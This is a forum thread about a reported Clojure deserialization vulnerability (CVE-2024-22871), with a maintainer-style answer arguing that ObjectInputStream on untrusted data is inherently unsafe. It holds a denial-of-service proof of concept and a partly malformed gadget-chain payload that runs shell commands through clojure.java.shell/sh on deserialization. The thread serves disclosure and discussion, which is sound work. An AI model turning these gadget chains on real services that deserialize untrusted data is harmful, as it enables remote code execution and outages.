Welcome! Please see the About page for a little more info on how this works.

0 votes
in Clojure by
edited by

Reporting Vulnerabilities

In org.clojure:clojure, there are some vulnerabilities as following:
- Denial of service attack ( clojure version 1.2.0 - 1.12.0 )


Command Injection

Note that no additional components are required for this vulnerability.

RCE CallGraph in 1.12.0-a5

- CVE-2024-22871

As discussed below, DOS attacks may affect 1.2.0-1.12.0, and command execution with local verification may affect 1.9.0-1.12.0
In my opinion, several current problems are similar to the situation below, but are new ways of bypassing.

edited by
I don't get it, what does clojure have to do with it if it's all java?

upd: Am I understanding correctly that you can implement the same in java without clojure?
Not done correctly, the function call graph is partially dependent on clojure, such as apply, RestFn, etc. $fn_5920 can be obtained in Clojure by accessing anonymous function classes to execute commands in versions 1.9.0-1.12.0 (in clojure version poc).

1 Answer

+1 vote
selected by
Best answer

Using ObjectInputStream on untrusted data is inherently dangerous, as the docs of the class say themselves. Why would a showcase of the dangers of that class be considered a vulnerability in the JAR that supplies some of the used classes?

An easier way to reproduce for future readers:

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
Thank you. Due to the time difference, it might be difficult to reply promptly later on."
edited by
Another way to generate a command execution attack

(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))

  ;; 调用 main 函数
It should be noted that after just setting 'fn start (ns-resolve 'clojure.java.shell 'sh)', it can affect version 1.9.0 - 1.12.0, and it can also implement command execution.
Not sure what you mean by your last comment. The `sh` function in the `clojure.java.shell` namespace is used to shell out and run commands, so of course you can run stuff with it. The command execution mechanism still relies on the way the `Iterate` class implements its hashing.
This is because I used process $ start in the previous version, but unfortunately this is a new function introduced in 1.12.0 ; later, check the project, found that you can directly use the shell function to run the command directly. Yes, the problem still appears in the hash calculation of the Iterate class.